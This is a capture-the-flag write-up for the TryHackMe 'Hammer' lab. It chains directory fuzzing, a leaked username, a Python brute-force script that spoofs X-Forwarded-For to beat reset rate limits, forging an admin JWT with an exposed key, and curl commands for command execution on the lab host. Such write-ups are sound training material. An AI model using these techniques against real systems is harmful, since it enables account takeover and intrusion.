Hammer — TryHackMe Writeup
Nmap exposes SSH and a custom web app on port 1337. Fuzzing with the hmr_ prefix leaks an open log that dumps a valid username.
Bypassed the password reset rate-limit with X-Forwarded-For spoofing, brute-forced the 4-digit recovery code, and reset the password to grab the user flag.
Forged an admin HS256 token using an exposed key, then abused execute_command.php for command execution to retrieve the root flag.
▸Introduction
Hammer is a medium-rated Linux machine that front-ends a small custom PHP web app on a non-standard HTTP port (1337). The application features a login portal with a "forgot password" flow. Our objective is to capture two flags:
- A user flag located behind the authenticated dashboard.
- A root flag readable only after escalating to an admin role and triggering remote command execution.
The entire attack chain is web-based—no SSH credentials are required for the intended path.
▸Reconnaissance
Nmap Scan
A full TCP port scan reveals two listening services:
nmap -sC -sV -p- 10.113.158.252 -oN nmap_full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0c:27:1c:24:83:8c:fe:e9:81:73:b2:8b:78:0a:0d:63 (RSA)
| 256 12:a8:26:0d:7b:d4:6a:89:e0:3c:1f:99:bd:27:71:f7 (ECDSA)
|_ 256 03:5b:2c:9e:9e:49:e5:c9:0f:c8:51:78:23:a2:4c:4e (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Only two ports are open: SSH and a custom Apache web application on port 1337. The PHPSESSID
cookie lacks the HttpOnly flag.
Browsing to http://10.113.158.252:1337/ returns a login page. An HTML comment found in the page source provides a small but crucial hint:
<!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME -->
This hmr_ prefix serves as an excellent anchor for directory fuzzing.
Web Enumeration
Using the hmr_ convention, we can fuzz for hidden directories:
ffuf -u http://10.113.158.252:1337/hmr_FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc 200,204,301,302,403,405 -t 50
This reveals several directories: hmr_css, hmr_js, hmr_images, and most importantly, hmr_logs.
The Leak: hmr_logs/error.logs
The hmr_logs/ directory has auto-indexing enabled, and the error.logs file is world-readable. Digging through the Apache error lines uncovers a critical piece of information:
[authz_core:error] ... user tester@hammer.thm: authentication failure for "/restricted-area"

We now have a valid username: tester@hammer.thm. The next step is to abuse the password reset functionality.
▸Initial Foothold
Understanding the Reset Flow
Accessing reset_password.php with the leaked email returns a secondary form asking for a 4-digit recovery code, alongside a hidden s field acting as a client-side countdown timer. Two protections stand out:
- Per-session rate limit — visible in the
Rate-Limit-Pendingresponse header. - Client-side timer — the
svalue is merely a number that the browser counts down; the server trusts whatever value we send.

Bypassing Rate Limiting and Timers
Two Bugs, One Exploit: Spoofing the X-Forwarded-For header with a random IP defeats the
IP-based rate limiter, and submitting a massive s value (e.g., 999999999) neutralizes the
client-side countdown. Rotating the PHP session cookie every few attempts prevents the per-session
counter from blocking our requests.
A short Python script can quickly iterate through the 0000–9999 space to brute-force the recovery code:
import requests
import random
BASE = "http://10.113.158.252:1337"
EMAIL = "tester@hammer.thm"
def xff():
return f"{random.randint(1,254)}.{random.randint(0,255)}.{random.randint(0,255)}.{random.randint(1,254)}"
s = requests.Session()
for code in range(10000):
if code % 5 == 0: # Rotate session to dodge the counter
s.cookies.clear()
s.post(f"{BASE}/reset_password.php", data={"email": EMAIL}, headers={"X-Forwarded-For": xff()})
r = s.post(f"{BASE}/reset_password.php",
data={"recovery_code": f"{code:04d}", "s": "999999999"},
headers={"X-Forwarded-For": xff()})
if "Invalid or expired recovery code" not in r.text:
print(f"[+] Recovery code = {code:04d}")
break
The script successfully stops at 1034. With the correct code accepted, we are redirected to the Set New Password form.

Login & User Flag
Logging in with our newly set credentials assigns us a token cookie (which is a JWT) and redirects us to the dashboard:
curl -s -i -d "email=tester@hammer.thm" -d "password=H@mmerPwn3d!" \
http://10.113.158.252:1337/
The dashboard greets us with Welcome, Thor! and presents the user flag:

▸Privilege Escalation
Anatomy of the Issued Token
Decoding the token cookie from the dashboard reveals the following structure:

Header:
{
"typ": "JWT",
"alg": "HS256",
"kid": "/var/www/mykey.key"
}
Payload:
{
"iss": "http://hammer.thm",
"aud": "http://hammer.thm",
"data": {
"user_id": 1,
"email": "tester@hammer.thm",
"role": "user"
}
}
Two key observations:
- The algorithm is symmetric (HS256), meaning the same secret is used to both sign and verify the token.
- Our current role is
user. We need to elevate this toadminto interact with the command execution endpoint.
Analyzing the Dashboard
The dashboard provides a command execution interface. Attempting to run standard commands like pwd results in a "Command not allowed" error.

However, testing other basic commands reveals that ls executes successfully:

{
"output": "188ade1.key\ncomposer.json\nconfig.php\ndashboard.php\nexecute_command.php\nhmr_css\nhmr_images\nhmr_js\nhmr_logs\nindex.php\nlogout.php\nreset_password.php\nvendor\n"
}
Most of these files are standard or expected, but 188ade1.key stands out.
Recovering the Signing Secret
Since 188ade1.key is located in the web root, we can fetch it directly:
curl -s http://10.113.158.252:1337/188ade1.key
# Output: 56058354efb3daa97ebab00fabd7a7d7
This 32-character string is the HMAC secret used to sign the JWTs.
Forging the Admin Token
With the secret in hand, we can forge a new token. We will update the payload to set the role to admin, keep the kid pointing to the absolute path /var/www/html/188ade1.key, and sign it using the recovered secret string.
You can use a proxy like Caido or Burp Suite, online tools like jwt.io, or a custom Python script to generate the forged JWT.

Triggering RCE via execute_command.php
The dashboard sends POST requests to execute_command.php, which validates whether the role is admin. We can replay this request using our newly forged bearer token:
curl -s 'http://10.113.158.252:1337/execute_command.php' \
-H "Authorization: Bearer <ADMIN_JWT>" \
-H "Content-Type: application/json" \
-d '{"command":"id"}'
Because the application is vulnerable to OS command injection via this endpoint, any command we send will be executed by the web service account. To read the root flag:
curl -s 'http://10.113.158.252:1337/execute_command.php' \
-H "Authorization: Bearer <ADMIN_JWT>" \
-H "Content-Type: application/json" \
-d '{"command":"cat /home/ubuntu/flag.txt"}'
Manual Execution: You can easily send the forged Authorization: Bearer <ADMIN_JWT> request to execute_command.php using a tool like Caido or Burp Suite Repeater. Include the JSON body {"command":"cat /home/ubuntu/flag.txt"} to retrieve the flag.

Root Flag:
▸Summary
Hammer is an excellent demonstration of chaining small web vulnerabilities to achieve complete system compromise:
- An open log directory (
hmr_logs/error.logs) leaked a valid username. - A recovery-code reset with a small 4-digit keyspace and easily bypassable rate-limiting allowed for account takeover.
- A symmetrically-signed JWT paired with an exposed HMAC secret enabled us to forge an admin token, ultimately leading to OS command execution.

Red Team Consultant · Penetration Tester · Bug Bounty Hunter
Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.